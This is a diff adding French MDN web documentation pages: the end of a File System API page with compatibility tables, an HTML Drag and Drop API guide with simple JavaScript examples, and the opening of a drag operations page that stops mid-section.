+<p>L'API synchrone est utile avec les <a href="/En/Using_web_workers" rel="internal" title="https://developer.mozilla.org/En/Using_web_workers">WebWorkers</a>. Contrairement à l'API asynchrone, l'API synchrone n'utilise pas les callbacks parce que les méthodes de l'API retournent des valeurs.</p>
+
+<ul>
+ <li><a href="/en/DOM/File_API/File_System_API/LocalFileSystemSync" title="en/DOM/File_API/File_System_API/LocalFileSystemSync">LocalFileSystemSync</a> a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystemSync() et resolveLocalFileSystemSyncURL(). Les méthodes sont implémentées par l'objet worker.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/FileSystemSync" title="en/DOM/File_API/File_system_API/FileSystemSync">FileSystemSync</a> représente un fichier système.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/EntrySync" title="en/DOM/File_API/File_system_API/EntrySync">EntrySync</a> représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/DirectoryEntrySync" title="en/DOM/File_API/File_system_API/DirectoryEntrySync">DirectoryEntrySync</a> représente un dossier dans un fichier système.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/DirectoryReaderSync" title="en/DOM/File_API/File_system_API/DirectoryReaderSync">DirectoryReaderSync</a>  vous permet la lecture de fichiers et dossiers à partir d'un dossier.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/FileEntrySync" title="en/DOM/File_API/File_system_API/FileEntrySync">FileEntrySync</a> représente un fichier dans un fichier système.</li>
+ <li><a href="/en/DOM/File_API/File_System_API/FileException" title="en/DOM/File_API/File_system_API/FileException">FileException</a> est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes synchrones.</li>
+</ul>
+
+<h2 id="Compatibilité_navigateur">Compatibilité navigateur</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>API asynchrone</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>API synchrone</td>
+   <td>13 {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>API asynchrone</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>API synchrone</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Particularité : {{ spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "NOTE") }}</li>
+ <li>Commentaire Mozilla : <a href="https://hacks.mozilla.org/2012/07/why-no-filesystem-api-in-firefox/">Why no FileSystem API in Firefox?</a></li>
+</ul>
diff --git a/files/fr/web/api/api_html_drag_and_drop/index.html b/files/fr/web/api/api_html_drag_and_drop/index.html
new file mode 100644
index 0000000000..fd73e301f8
--- /dev/null
+++ b/files/fr/web/api/api_html_drag_and_drop/index.html
@@ -0,0 +1,268 @@
+---
+title: Glisser et déposer
+slug: Web/API/API_HTML_Drag_and_Drop
+tags:
+  - Avancé
+  - Glisser-deposer
+  - Guide
+  - HTML
+  - drag and drop
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p><span class="seoSummary"><strong>L'interface HTML <em>Drag and Drop</em></strong> (pour glisser-déposer) permet à des applications d'utiliser des fonctionnalités de glisser-déposer dans le navigateur.</span> L'utilisateur pourra sélectionner des éléments déplaçables à la souris et les déplacer vers un élément où on peut déposer en relâchant le bouton de la souris. Une représentation translucide de l'élément déplacé suit le pointeur lors de l'opération.</p>
+
+<p>Pour les sites web et les extensions, on peut personnaliser les éléments qui peuvent être déplacés, la façon dont ceux-ci sont signalés et les éléments qui peuvent servir de destination.</p>
+
+<p>L'aperçu de cette API inclut une description des interfaces, les étapes à suivre pour prendre en charge ces fonctionnalités dans une application et un aperçu de l'interopérabilité de ces interfaces.</p>
+
+<h2 id="Évènements_de_déplacement">Évènements de déplacement</h2>
+
+<p>L'API HTML <em>Drag and Drop</em> utilise le modèle d'évènements du DOM ({{domxref("Event")}}) ainsi que les éléments de déplacements (<em>{{domxref("DragEvent")}}</em>) hérités des évènements liés à la souris ({{domxref("MouseEvent")}}). Une opération de déplacement commence généralement lorsqu'un utilisateur sélectionne un élément déplaçable puis qu'il le déplace sur un élément de destination avant de relâcher l'élément déplacé.</p>
+
+<p>Lors des opérations de déplacement, plusieurs évènements sont déclenchés (dont certains qui sont déclenchés à plusieurs reprises comme {{event("drag")}} et {{event("dragover")}}).</p>
+
+<p>Chaque <a href="/fr/docs/Web/API/DragEvent#Event_types">type d'évènement de déplacement</a> possède un <a href="/fr/docs/Web/API/DragEvent#GlobalEventHandlers">gestionnaire d'évènement global (une méthode <code>on...</code>)</a> :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Évènement</th>
+   <th scope="col">Gestionnaire d'évènement global</th>
+   <th scope="col">Déclenchement</th>
+  </tr>
+  <tr>
+   <td>{{event('drag')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondrag','ondrag')}}</td>
+   <td>…un objet déplaçable (que ce soit un élément ou une sélection de texte) est déplacée.</td>
+  </tr>
+  <tr>
+   <td>{{event('dragend')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragend','ondragend')}}</td>
+   <td>…une opération de déplacement se termine (en relâchant le bouton de la souris ou en utilisant la touche Echap, voir <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Terminer un déplacement</a>)</td>
+  </tr>
+  <tr>
+   <td>{{event('dragenter')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragenter','ondragenter')}}</td>
+   <td>…un élément en cours de déplacement arrive sur une zone de dépôt valide (voir <a href="/fr/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">indiquer une cible de destination</a>).</td>
+  </tr>
+  <tr>
+   <td>{{event('dragexit')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragexit','ondragexit')}}</td>
+   <td>…un élément n'est plus la sélection immédiate du déplacement.</td>
+  </tr>
+  <tr>
+   <td>{{event('dragleave')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragleave','ondragleave')}}</td>
+   <td>…un élément en cours de déplacement quitte une zone de dépôt valide.</td>
+  </tr>
+  <tr>
+   <td>{{event('dragover')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragover','ondragover')}}</td>
+   <td>…un élément en cours de déplacement est en cours de survol d'une zone de dépôt valide (cet évènement est déclenché toutes les quelques centaines de millisecondes).</td>
+  </tr>
+  <tr>
+   <td>{{event('dragstart')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondragstart','ondragstart')}}</td>
+   <td>…l'utilisateur commence à déplacer un élément (voir <a href="/fr/docs/DragDrop/Drag_Operations#dragstart" title="Starting a Drag Operation">démarrer une opération de glissement</a>).</td>
+  </tr>
+  <tr>
+   <td>{{event('drop')}}</td>
+   <td>{{domxref('GlobalEventHandlers.ondrop','ondrop')}}</td>
+   <td>…un élément est déposé sur une cible valide (voir <a href="/fr/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">déposer un élément</a>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note :</strong> Les évènements <code>dragstart</code> et <code>dragend</code> ne sont pas déclenchés lors qu'on glisse-dépose un fichier de l'appareil dans le navigateur.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Les interfaces fournies par cette API sont</p>
+
+<ul>
+ <li>{{domxref("DragEvent")}},</li>
+ <li>{{domxref("DataTransfer")}},</li>
+ <li>{{domxref("DataTransferItem")}}</li>
+ <li>{{domxref("DataTransferItemList")}}.</li>
+</ul>
+
+<p>L'interface {{domxref("DragEvent")}} possède un constructeur et une propriété {{domxref("DragEvent.dataTransfer","dataTransfer")}} qui est un objet {{domxref("DataTransfer")}}.</p>
+
+<p>Les objets {{domxref("DataTransfer")}} incluent l'état du glisser-déposer, le type de déplacement (<code>copy</code> ou <code>move</code>), les données déplacées (un ou plusieurs objets) et le type MIME de chaque objet déplacé. Les objets {{domxref("DataTransfer")}} possèdent également des méthodes permettant d'ajouter ou de retirer des objets aux données déplacées.</p>
+
+<p>Les interfaces {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont standard et suffisent à apporter des fonctionnalités de glisser/déposer. Toutefois, Firefox prend en charge quelques extensions spécifiques à Gecko (cf. ci-après) pour l'objet {{domxref("DataTransfer")}} (bien entendu, ces extensions ne fonctionneront que dans Firefox et pas dans les autres navigateurs).</p>
+
+<p>Chaque objet {{domxref("DataTransfer")}} possède une propriété  {{domxref("DataTransfer.items","items")}} qui est une liste ({{domxref("DataTransferItemList","list")}}) d'objets {{domxref("DataTransferItem")}}. Un objet {{domxref("DataTransferItem")}} représente un seul objet déplacé, avec une propriété {{domxref("DataTransferItem.kind","kind")}} qui indique s'il s'agit d'un texte (<code>string</code>) ou d'un fichier (<code>file</code>) et une propriété {{domxref("DataTransferItem.type","type")}} qui correspond au type MIME de la donnée déplacée. L'objet {{domxref("DataTransferItem")}} possède également des méthodes pour consulter les données de l'objet déplacé.</p>
+
+<p>L'objet {{domxref("DataTransferItemList")}} est une liste d'objets {{domxref("DataTransferItem")}}. La liste possède des méthodes pour ajouter un objet en déplacement à la liste, pour retirer un objet de la liste ou pour vider la liste de tout ses objets.</p>
+
+<p>La différence principale entre {{domxref("DataTransfer")}} et {{domxref("DataTransferItem")}} est l'utilisation de la méthode synchrone {{domxref("DataTransfer.getData","getData()")}} pour la première et de la méthode asynchrone {{domxref("DataTransferItem.getAsString","getAsString()")}} pour la deuxième.</p>
+
+<p class="note"><strong>Note :</strong> {{domxref("DragEvent")}} et {{domxref("DataTransfer")}} sont largement prises en charge par les navigateurs de bureau tandis que {{domxref("DataTransferItem")}} et {{domxref("DataTransferItemList")}} ont une compatibilité plus restreinte. Voir la section ci-après sur l'interopérabilité.</p>
+
+<h3 id="Interfaces_spécifiques_à_Gecko">Interfaces spécifiques à Gecko</h3>
+
+<p>Mozilla / Firefox prend en charge certaines fonctionnalités qui ne font pas partie du modèle standard. Ce sont des fonctions utilitaires pour aider au déplacement de plusieurs objets ou de données qui ne sont pas du texte (des fichiers par exemple). Pour plus d'informations, voir <a href="/fr/docs/Web/API/HTML_Drag_and_Drop_API/Multiple_items" title="Dragging and Dropping Multiple Items">Glisser-déposer plusieurs objets</a>. Voir aussi la page de référence de {{domxref("DataTransfer")}} pour la liste de l'ensemble <a href="/fr/docs/Web/API/DataTransfer#Gecko_properties">des propriétés spécifique à Gecko</a> et <a href="/fr/docs/Web/API/DataTransfer#Gecko_methods">des méthodes spécifiques à Gecko</a>.</p>
+
+<h2 id="Bases">Bases</h2>
+
+<p>Dans cette section, nous allons voir les premières étapes nécessaires aux fonctionnalités de glisser-déposer dans une application.</p>
+
+<h3 id="Identifier_ce_qui_peut_être_déplacé">Identifier ce qui peut être déplacé</h3>
+
+<p>Pour qu'un élément puisse être déplacé, il faut lui ajouter l'attribut {{htmlattrxref("draggable")}} ainsi que le gestionnaire d'évènement global {{domxref("GlobalEventHandlers.ondragstart","ondragstart")}} :</p>
+
+<pre class="brush: html">&lt;script&gt;
+function dragstart_handler(ev) {
+ // On ajoute l'identifiant de l'élément cible à l'objet de transfert
+ ev.dataTransfer.setData("text/plain", ev.target.innerText);
+}
+&lt;/script&gt;
+
+&lt;p id="p1" draggable="true" ondragstart="dragstart_handler(event)"&gt;Cet élément est déplaçable.&lt;/p&gt;
+</pre>
+
+<p>Voir <a href="/fr/docs/Web/HTML/Global_attributes/draggable" title="draggable global attribute">la page de référence sur l'attribut <code>draggable</code></a> et <a href="/fr/docs/Web/Guide/HTML/Drag_operations#draggableattribute">le guide sur les opérations de déplacement</a> pour plus d'informations.</p>
+
+<h3 id="Définir_les_données_déplacées">Définir les données déplacées</h3>
+
+<p>Une application peut inclure plusieurs objets dans une opération de glisser/déposer. Chaque objet est une chaîne de caractères ({{domxref("DOMString")}}) ayant un type MIME particulier (indiqué par son attribut <code>type</code>) tel que <code>text/html</code>.</p>
+
+<p>Chaque {{domxref("DragEvent")}} possède une propriété  {{domxref("DragEvent.dataTransfer","dataTransfer")}} contenant les données transportées. Cette propriété (un objet {{domxref("DataTransfer")}}) possède des méthodes pour gérer les données transportées. La méthode {{domxref("DataTransfer.setData","setData()")}} permet d'ajouter un objet aux données transportées :</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+  // On ajoute différents types de données transportées
+  ev.dataTransfer.setData("text/plain", ev.target.innerText);
+  ev.dataTransfer.setData("text/html", ev.target.outerHTML);
+  ev.dataTransfer.setData("text/uri-list", ev.target.ownerDocument.location.href);
+}
+</pre>
+
+<p>Pour connaître la liste des types de donnée communément utilisées lors d'un glisser/déposer (texte, HTML, liens, fichiers, etc.), voir <a href="/fr/docs/DragDrop/Recommended_Drag_Types" title="Recommended Drag Types">les types recommandés</a>. Pour plus d'informations sur les informations transportées, voir <a href="/fr/docs/Web/Guide/HTML/Drag_operations#dragdata" title="Drag Data">Drag Data</a>.</p>
+
+<h3 id="Définir_limage_pour_le_déplacement">Définir l'image pour le déplacement</h3>
+
+<p>Par défaut, le navigateur fournit une image qui apparaît à côté du pointeur lors de l'opération de déplacement. Toutefois, une application peut définir une image personnalisée grâce à la méthode {{domxref("DataTransfer.setDragImage","setDragImage()")}} :</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+  // On crée une image qu'on utilise pour le déplacement
+  // Note : on changera "example.gif" vers une vraie image
+  // (sinon l'image par défaut sera utilisée)
+  var img = new Image();
+  img.src = 'example.gif';
+  ev.dataTransfer.setDragImage(img, 10, 10);
+}
+</pre>
+
+<p>Pour en savoir plus, voir <a href="/fr/docs/DragDrop/Drag_Operations#dragfeedback" title="Setting the Drag Feedback Image">Définir l'image de <em>feedback</em> pour le glisser-déposer</a>.</p>
+
+<h3 id="Définir_leffet_de_déplacement">Définir l'effet de déplacement</h3>
+
+<p>La propriété {{domxref("DataTransfer.dropEffect","dropEffect")}} est utilisée pour fournir un retour à l'utilisateur qui effectue l'opération de glisser/déposer. Généralement, cela se traduit par la modification du curseur affiché par le navigateur lors du déplacement.</p>
+
+<p>Il est possible de définir trois effets :</p>
+
+<ul>
+ <li><code>copy</code> : indique que les données déplacées seront copiées depuis l'emplacement source vers la cible.</li>
+ <li><code>move</code> : indique que les données déplacées seront déplacées depuis l'emplacement source vers la cible.</li>
+ <li><code>link</code> : indique qu'une relation ou une connexion sera créée entre la source et la cible.</li>
+</ul>
+
+<p>Lors de l'opération de déplacement, les effets peuvent être modifiés afin d'indiquer que certains effets sont autorisés à certains emplacements.</p>
+
+<p>Voici un exemple illustrant l'utilisation de cette propriété.</p>
+
+<pre class="brush: js">function dragstart_handler(ev) {
+  ev.dataTransfer.dropEffect = "copy";
+}
+</pre>
+
+<p>See <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> for more details.</p>
+
+<h3 id="Définir_la_zone_où_déposer_lélément_déplacé">Définir la zone où déposer l'élément déplacé</h3>
+
+<p>Par défaut, le navigateur empêche de déposer quoi que ce soit sur la plupart des éléments HTML. Pour modifier ce comportement, il faut qu'un élément devienne une zone cible ou qu'il soit identifié comme "<em>droppable</em>". L'élément doit avoir les deux gestionnaires d'évènements {{domxref("GlobalEventHandlers.ondragover","ondragover")}} et {{domxref("GlobalEventHandlers.ondrop","ondrop")}} comme attributs. Dans l'exemple suivant, on montre comment utiliser ces attributs et on fournit des gestionnaires d'évènements simples associés :</p>
+
+<pre class="brush: html">&lt;script&gt;
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move";
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // On récupère l'identifiant de la cible et on ajoute l'élément déplacé au DOM de la cible
+ var data = ev.dataTransfer.getData("text/plain");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;/script&gt;
+
+&lt;p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)"&gt;Zone pour déposer&lt;/p&gt;
+</pre>
+
+<p>On voit ici que chaque gestionnaire invoque {{domxref("Event.preventDefault","preventDefault()")}} afin d'éviter toute gestion d'évènement ultérieure (comme <a href="/fr/docs/Web/API/Touch_events">les évènements tactiles</a> ou <a href="/fr/docs/Web/API/Pointer_events">les évènements de pointeur</a>).</p>
+
+<p>Pour plus d'information, voir <a href="/fr/docs/Web/Guide/HTML/Drag_operations#droptargets">Indiquer une cible pour un glisser-déposer</a>.</p>
+
+<h3 id="Gérer_le_dépôt_de_lobjet">Gérer le dépôt de l'objet</h3>
+
+<p>Le gestionnaire de l'évènement {{event("drop")}} permet de gérer les données déposées avec la logique de l'application. Généralement, une application utilisera {{domxref("DataTransfer.getData","getData()")}} afin de récupérer les données déplacées et les traitera. L'application peut choisir d'avoir un comportement différent selon la valeur de {{domxref("DataTransfer.dropEffect","dropEffect")}} et/ou celles des autres propriétés.</p>
+
+<p>Dans l'exemple suivant, on montre un gestionnaire pour le dépot de l'objet : on récupère l'identifiant (<code>id</code>) de l'élément déplacé puis on utilise celui-ci afin de le déplacer depuis la source vers la cible :</p>
+
+<pre class="brush: html">&lt;script&gt;
+function dragstart_handler(ev) {
+ // On ajoute l'identifiant de l'élément cible à l'objet de transfert
+ ev.dataTransfer.setData("application/my-app", ev.target.id);
+ ev.dataTransfer.dropEffect = "move";
+}
+function dragover_handler(ev) {
+ ev.preventDefault();
+ ev.dataTransfer.dropEffect = "move"
+}
+function drop_handler(ev) {
+ ev.preventDefault();
+ // On obtient l'identifiant de la cible et on ajoute l'élément déplacé
+ // au DOM de la cible
+ var data = ev.dataTransfer.getData("application/my-app");
+ ev.target.appendChild(document.getElementById(data));
+}
+&lt;/script&gt;
+
+&lt;p id="p1" draggable="true" ondragstart="dragstart_handler(event)"&gt;Cet élément peut être déplacé.&lt;/p&gt;
+&lt;div id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)"&gt;Zone pour le dépôt&lt;/div&gt;
+</pre>
+
+<p>Pour plus d'information, voir <a href="/fr/docs/Web/Guide/HTML/Drag_operations#drop">Gérer le dépôt lors d'une opération de glisser-déposer</a>.</p>
+
+<h3 id="Terminer_lopération_de_glisserdéposer">Terminer l'opération de glisser/déposer</h3>
+
+<p>À la fin de l'opération, c'est l'évènement {{event("dragend")}} qui est déclenché <em>sur l'élément source</em> (celui qui a été "saisi" au début). Cet évènement est déclenché lorsque l'opération est terminée ou qu'elle a été annulée. Le gestionnaire d'évènement pour {{event("dragend")}} peut vérifier la valeur de la propriété {{domxref("DataTransfer.dropEffect","dropEffect")}} afin de déterminer si l'opération a réussi ou non.</p>
+
+<p>Pour plus d'informations sur la gestion de la fin d'une opération de glisser-déposer, voir <a href="/fr/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Terminer un glisser-déposer</a>.</p>
+
+<h2 id="Interopérabilité">Interopérabilité</h2>
+
+<p>Comme on peut le voir <a href="/en-US/docs/Web/API/DataTransferItem#Browser_compatibility">dans le tableau de compatibilité pour l'interface <code>DataTransferItem</code></a>, la prise en charge du <em>drag-and-drop</em> est assez répandue parmi les navigateurs de bureau à l'exception des interfaces {{domxref("DataTransferItem")}} et {{domxref("DataTransferItemList")}}. Ce tableau montre également que la prise en charge sur mobile est assez faible.</p>
+
+<h2 id="Examples_and_demos" name="Examples_and_demos">Exemples et démos</h2>
+
+<ul>
+ <li><a href="https://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransfer.html">Copier et déplacer des éléments avec l'interface <code>DataTransfer</code></a></li>
+ <li><a href="http://mdn.github.io/dom-examples/drag-and-drop/copy-move-DataTransferItemList.html">Copier et déplacer des éléments avec l'interface <code>DataTransferListItem</code></a></li>
+ <li><a href="https://jsbin.com/hiqasek/edit?html,js,output">JSBin : Glisser-déposer des fichiers</a></li>
+ <li>
+  <p><a href="https://park.glitch.me/">Un parking réalisé avec l'API Drag and Drop</a> (<a href="https://glitch.com/edit/#!/park">lien pour éditer le code</a>)</p>
+ </li>
+</ul>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a class="internal" href="/fr/docs/Web/API/HTML_Drag_and_Drop_API/Drag_operations" title="Drag Operations">Les opérations de déplacement</a></li>
+ <li><a class="internal" href="/fr/docs/Web/API/HTML_Drag_and_Drop_API/Multiple_items" title="Dragging and Dropping Multiple Items">Glisser-déposer plusieurs objets</a></li>
+ <li><a class="internal" href="/fr/docs/Web/API/HTML_Drag_and_Drop_API/Recommended_drag_types" title="Recommended Drag Types">Types de déplacement recommandés</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">Spécification HTML5 : Drag and Drop</a></li>
+ <li><a href="http://caniuse.com/#search=draganddrop" title="Drag and Drop interoperability data from CanIUse">Données d'interopérabilité pour l'API Drag and Drop sur CanIUse</a></li>
+</ul>
diff --git a/files/fr/web/api/api_html_drag_and_drop/opérations_de_glissement/index.html b/files/fr/web/api/api_html_drag_and_drop/opérations_de_glissement/index.html
new file mode 100644
index 0000000000..0ddaad6583
--- /dev/null
+++ b/files/fr/web/api/api_html_drag_and_drop/opérations_de_glissement/index.html
@@ -0,0 +1,294 @@
+---
+title: Opérations de glissement
+slug: Web/API/API_HTML_Drag_and_Drop/Opérations_de_glissement
+translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations
+---
+<p>Ce qui suit décrit les étapes qui se déroulent lors d'un Glisser Déposer.</p>
+
+<p class="note">Les opérations de glisser décrits dans ce document utilisent l'interface {{domxref("DataTransfer")}}. Ce document n'utilise pas l'interface {{domxref("DataTransferItem")}} ni l'interface {{domxref("DataTransferItemList")}}.</p>
+
+<h2 id="draggableattribute" name="draggableattribute">L'attribut draggable</h2>
+
+<p>Dans une page Web, certains cas nécessitent l'usage du Glisser Déposer. Il peut servir pour des sélections de texte, d'images ou de liens. Lorsqu'une image ou un lien sont glissés, l'URL de l'image ou du lien est défini comme données du glissement, et le Glisser commence. Pour d'autres éléments, il peut s'agir d'une sélection effectuée qui servira au glissement. Pour voir cet effet, sélectionnez une zone dans une page Web, puis cliquez dedans en maintenant le bouton de la souris et glissez la sélection. Un rendu translucide de la sélection apparaitra en suivant le pointeur de la souris. Il s'agit toutefois du comportement par défaut du glissement si aucun scrutateur n'a été défini pour traiter les données.</p>
+
+<p>En HTML, excepté le comportement par défaut des images, des liens et des sélections, aucun autre élément ne peut être glissé. Tous les éléments XUL peuvent être glissés.</p>
+
+<p>Pour rendre un autre élément HTML glissable, deux choses doivent être faites :</p>
+
+<ul>
+ <li>Définissez l'attribut <code>{{htmlattrxref("draggable")}}</code> à <code>true</code> sur l'élément que vous voulez rendre glissable.</li>
+ <li>Ajoutez un scrutateur sur l'événement <code>{{event("dragstart")}}</code> et définissez les données du glissement dans ce scrutateur.</li>
+ <li>{{domxref("DataTransfer.setData","Définir la donnée de glissement")}} au sein du scrutateur ajouté précédemment.</li>
+</ul>
+
+<p>Voici un exemple qui permet à une section de contenu d'être glissée :</p>
+
+<pre>&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')"&gt;
+  Ce texte &lt;strong&gt;peut&lt;/strong&gt; être glissé.
+&lt;/div&gt;
+</pre>
+
+<p>L'attribut <code>{{htmlattrxref("draggable")}}</code> est défini à true, ce qui rend l'élément glissant. Si cet attribut est omis ou défini à false, l'élément ne serait pas glissant et le texte serait alors simplement sélectionné. Cet attribut peut être placé sur n'importe quel élément, y compris des images et des liens. Toutefois, pour les deux derniers, la valeur par défaut est true, donc vous n'utiliserez l'attribut <code>{{htmlattrxref("draggable")}}</code> <code> </code>que pour le définir à <code>false</code> pour interdire le glissement de ces éléments.</p>
+
+<p>Notez que lorsqu'un élément est rendu glissable, le texte ou les autres éléments qu'il contient ne peuvent plus être sélectionné de manière classique en cliquant et déplaçant la souris. Au lieu de cela, l'utilisateur doit maintenir la touche <kbd>Alt</kbd> appuyée pour sélectionner le texte avec la souris, ou bien utilisez le clavier.</p>
+
+<p>Pour des éléments XUL, il n'est pas nécessaire d'utiliser l'attribut <code>{{htmlattrxref("draggable")}}</code>, car tous les éléments XUL sont glissables.</p>
+
+<pre>&lt;button label="Glisse moi" ondragstart="event.dataTransfer.setData('text/plain', 'Bouton à glisser');"&gt;
+</pre>
+
+<p> </p>
+
+<h2 id="dragstart" name="dragstart">Démarrer une opération de glissement</h2>
+
+<p>Dans cet exemple, un scrutateur est ajouté à l'événement dragstart en utilisant l'attribut <code>ondragstart</code>.</p>
+
+<pre>&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'Ce texte peut être glissé')"&gt;
+  Ce texte &lt;strong&gt;peut&lt;/strong&gt; être glissé.
+&lt;/div&gt;
+</pre>
+
+<p>Lorsqu'un utilisateur commence un glissement, l'événement dragstart est déclenché. Dans cet exemple, le scrutateur dragstart a été ajouté à l'élément à déplacer lui-même. Vous pouvez toutefois mettre le scrutateur sur un ancètre plus élevé car l'événement drag diffuse comme le font les autres événements. À l'intérieur de l'événement dragstart, vous devez spécifier la donnée de glissement, l'image filligrane et les effets du glissement tels que décrits ci-dessous. Cependant, seule la donnée de glissement est nécessaire ; l'image et les effets du glissement par défaut sont suffisants pour la majorité des cas.</p>
+
+<h2 id="dragdata" name="dragdata">Donnée de glissement</h2>
+
+<p>Tous les événements de glissement ont une propriété appelée <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer" title="Fr/GlisserDéposer/DataTransfer">dataTransfer</a> utilisée pour contenir la donnée de glissement.</p>
+
+<p>Lorsqu'un glissement a lieu, une donnée doit être associée au glissement pour identifier ce qui est en train de glisser. Par exemple, lors du glissement d'un texte sélectionné dans un champs de texte, la donnée associée au glissement est le texte lui-même. De même, lors du glissement d'un lien, la donnée associée est l'URL du lien.</p>
+
+<p>La donnée de glissement contient deux informations : son type ou format et sa valeur. Le format est une chaîne de caractère (telle que <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text" title="Fr/GlisserDéposer/Types de glissement recommandés#text">text/plain</a> pour un texte), et la valeur est un texte. Lorsqu'un glissement démarre, vous devez lui ajouter en fournissant un type et la donnée. Dans les scrutateurs des événements <code>dragenter</code> et <code>dragover</code> au cours d'un glissement, vous pouvez vérifier les types de données et indiquer si un dépôt est permis ou non. Par exemple, une cible de dépôt qui accepte que des liens testera les types lien <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#link" title="Fr/GlisserDéposer/Types de glissement recommandés#link">text/uri-list</a>. Pendant un évément de dépôt, un scrutateur récupèrera la donnée glissée et l'insèrera dans la zone de dépôt.</p>
+
+<p>Les types MIME habituels sont <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text" title="Fr/GlisserDéposer/Types de glissement recommandés#text">text/plain</a> ou <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#image" title="Fr/GlisserDéposer/Types de glissement recommandés#image">image/jpeg</a>, mais vous pouvez créer vos propres types. La liste des types les plus utilisés est disponible sur <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement" title="Fr/GlisserDéposer/Types de glissement">cette page</a>.</p>
+
+<p>Un glissement peut fournir une donnée dans différents types. Ceci permet à une donnée d'être disponible dans des types spécifiques, souvent personnalisés, toujours en fournissant un format pour les cibles ne supportant pas ces types spécifiques. Habituellement, il s'agit toujours d'une version textuelle de type <a class="internal" href="/Fr/GlisserD%C3%A9poser/Types_de_glissement_recommand%C3%A9s#text" title="Fr/GlisserDéposer/Types de glissement recommandés#text">text/plain</a>. La donnée n'en sera qu'une représentation sous la forme d'un texte.</p>
+
+<p>Pour définir une donnée dans un dataTransfer, utilisez la méthode <a class="internal" href="/Fr/GlisserD%C3%A9poser/DataTransfer#setData" title="Fr/GlisserDéposer/DataTransfer#setData">setData</a>. Elle prend deux arguments qui sont le type de la donnée et sa valeur. Par exemple :</p>
+
+<pre>event.dataTransfer.setData("text/plain", "Texte à glisser");
+</pre>
+
